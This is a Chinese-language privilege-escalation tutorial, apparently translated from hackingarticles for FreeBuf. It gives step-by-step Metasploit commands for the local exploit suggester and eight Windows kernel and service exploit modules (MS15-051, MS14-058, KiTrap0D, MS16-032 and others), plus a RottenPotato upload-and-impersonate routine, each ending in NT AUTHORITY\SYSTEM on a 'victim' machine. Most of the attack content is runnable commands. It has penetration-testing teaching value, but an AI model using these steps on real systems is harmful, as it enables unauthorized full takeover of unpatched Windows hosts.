Windows核心漏洞利用提權教程
PS. 本文僅限於技術討論,嚴禁用於其他用途。
繼上一篇“使用自動化指令碼進行Windows提權”,本文將介紹有關Windows核心漏洞提權的方法。我將使用內建的Metasploit模組作為演示。通過本文的學習,你將瞭解系統的哪些部分可被利用,並匹配最佳可利用模組進一步的提升許可權。
Windows-Exploit-suggester
Metasploit內建模組提供了各種可用於提權的local exploits,並會基於架構,平臺(即執行的作業系統),會話型別和所需預設選項提供建議。這極大的節省了我們的時間,省去了我們手動搜尋local exploits的麻煩。雖說如此,但也並非所有列出的local exploits都可用。所以,無論是漏洞利用還是查詢最好的辦法就是自動結合手動。
用法
注:要使用local exploit suggester,我們必須已在目標機器上獲取到了一個Meterpreter session。在執行Local Exploit suggester之前,我們需要將現有的Meterpreter session調到後臺執行(CTRL + Z)
示例,假設我們現在有一個Meterpreter session 1
use post/multi/recon/local_exploit_suggester set LHOST 192.168.1.107 set SESSION 1 exploit
如下圖所示,它自動的為我們匹配出了一些可能的用於易受攻擊目標提權的漏洞利用模組。
Windows ClientCopyImage Win32k Exploit
Windows核心模式驅動程式特權提升漏洞。此模組利用了win32k.sys核心模式驅動程式中的不正確物件處理進行提權。
該模組已在Windows 7 x64和x86,Windows 2008 R2 SP1 x64的易受攻擊版本上進行了測試。
讓我們轉到MSF控制檯並執行該漏洞的exploit模組
use exploit/windows/local/ms15_051_client_copy_image set lhost 192.168.1.107 set session 1 exploit
一旦exploit成功執行,就會開啟另一個Meterpreter session
getsystem getuid
可以看到,我們當前的使用者許可權已提升為了 NT AUTHORITY\SYSTEM
Windows TrackPopupMenu Win32k NULL指標解引用
此模組利用了win32k.sys中的NULL指標解引用,漏洞可通過TrackPopupMenu函式進行觸發。在特殊情況下,我們可以濫用在xxxSendMessageTimeout上的NULL指標解引用,來實現任意程式碼執行操作。
該模組已在Windows XP SP3,Windows Server 2003 SP2,Windows 7 SP1 Windows Server 2008 32位和Windows Server 2008 R2 SP1 64位上進行了測試。
讓我們轉到MSF控制檯並執行該漏洞的exploit模組
use exploit/windows/local/ms14_058_track_popup_menu set lhost 192.168.1.107 set session 1 exploit
一旦exploit成功執行,就會開啟另一個Meterpreter session
getsystem getuid
可以看到,我們當前的使用者許可權已提升為了 NT AUTHORITY\SYSTEM
通過KiTrap0D提升Windows許可權
此模組將通過KiTrap0D exploit建立具有SYSTEM許可權的新會話,如果當前使用的會話許可權已提升,則exploit將不會執行。該模組依賴於kitrap0d.x86.dll,因此在x64版本的Windows上不受支援。
該模組已在32位的Windows Server 2003,Windows Server 2008,Windows 7和XP易受攻擊版本上進行了測試。
讓我們轉到MSF控制檯並執行該漏洞的exploit模組
use exploit/windows/local/ms10_015_kitrap0d set lhost 192.168.1.107 set session 1 exploit
一旦exploit成功執行,就會開啟另一個Meterpreter session
getsystem getuid
可以看到,我們當前的使用者許可權已提升為了 NT AUTHORITY\SYSTEM
Task Scheduler XML提權
此漏洞發生在Task Scheduler中,可允許使用者提升許可權。如果攻擊者登入到受影響的系統,並執行特製應用程式,則該漏洞可能允許特權提升。攻擊者必須擁有有效的登入憑據,並且能夠在本地登入才能成功利用此漏洞。遠端或匿名使用者則無法利用此漏洞。
該模組已在Windows Vista,Windows 7,Windows Server 2008 x64和x86的易受攻擊版本上進行了測試。
讓我們轉到MSF控制檯並執行該漏洞的exploit模組
use exploit/windows/local/ms10_092_schelevator set lhost 192.168.1.107 set session 1 exploit
一旦exploit成功執行,就會開啟另一個Meterpreter session
getsystem getuid
可以看到,我們當前的使用者許可權已提升為了 NT AUTHORITY\SYSTEM
MS16-016 mrxdav.sys WebDav本地提權
此模組利用了mrxdav.sys中的漏洞。其將在目標系統生成一個程序,並在執行payload之前將其許可權提升到NT AUTHORITY\SYSTEM。
該模組已在Windows 7 SP1,x86架構的易受攻擊版本上進行了測試。
讓我們轉到MSF控制檯並執行該漏洞的exploit模組
use exploit/windows/local/ms16_016_webdav set lhost 192.168.1.107 set session 1 exploit
一旦exploit成功執行,就會開啟另一個Meterpreter session
getsystem getuid
可以看到,我們當前的使用者許可權已提升為了 NT AUTHORITY\SYSTEM
EPATHOBJ::pprFlattenRec本地提權
此模組利用了EPATHOBJ :: pprFlattenRec上的漏洞,其主要問題出在使用了未初始化的資料(即允許損壞記憶體)。
目前,該模組已在Windows XP SP3,Windows 2003 SP1和Windows 7 SP1上成功進行了測試。
讓我們轉到MSF控制檯並執行該漏洞的exploit模組
use exploit/windows/local/ppr_flatten_rec set lhost 192.168.1.107 set session 1 exploit
一旦exploit成功執行,就會開啟另一個Meterpreter session
getsystem getuid
可以看到,我們當前的使用者許可權已提升為了 NT AUTHORITY\SYSTEM
MS13-053 : NTUserMessageCall Win32k核心池溢位
Win32k中的核心池溢位漏洞,可允許本地使用者提權。核心shellcode使winlogon.exe程序的ACL為NULL(SYSTEM程序)。這將允許任何非特權程序自由遷移到winlogon.exe,從而提升使用者許可權。注意:退出meterpreter會話時,可能會導致winlogon.exe崩潰。
目前,該模組已在Windows 7 SP1 x86上成功測試。
讓我們轉到MSF控制檯並執行該漏洞的exploit模組
use exploit/windows/local/ms13_053_ schlamperei set lhost 192.168.1.107 set session 1 exploit
一旦exploit成功執行,就會開啟另一個Meterpreter session
getsystem getuid
可以看到,我們當前的使用者許可權已提升為了 NT AUTHORITY\SYSTEM
MS16-032 Secondary Logon Handle提權
此模組利用了Windows Secondary Logon Service中缺少標準控制代碼過濾的問題。該漏洞主要影響Windows 7-10和2k8-2k12 32/64位版本。此模組僅適用於具有Powershell 2.0或更高版本的Windows系統,以及具有至少兩個或以上CPU核心的系統。
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc set session 1 exploit
一旦exploit成功執行,就會開啟另一個Meterpreter session
getsystem getuid
可以看到,我們當前的使用者許可權已提升為了 NT AUTHORITY\SYSTEM
RottenPotato
使用RottenPotato將服務帳戶本地提權至SYSTEM。
首先,我們在meterpreter會話中使用以下選項檢視當前系統上是否存在任何有效tokens。
load incognito list_token -u
可以看到,當前並沒有任何token可用。
現在,我們從github下載Rottenpotato 。
git clone https://github.com/foxglovesec/RottenPotato.git cd RottenPotato
下載完成後我們會在Rottenpotato目錄下,看到一個rottenpotato.exe檔案。
將該檔案上傳至受害者機器。
upload /root/Desktop/RottenPotato/rottenpotato.exe .
然後,鍵入以下命令執行該exe檔案,並將SYSTEM token新增到impersonate user tokens下。
execute -Hc -f rottenpotato.exe impersonate_token "NT AUTHORITY\\SYSTEM"
可以看到,我們當前的使用者許可權已提升為了 NT AUTHORITY\SYSTEM
*參考來源: ofollow,noindex" target="_blank">hackingarticles , FB小編 secist 編譯,轉載請註明來自FreeBuf.COM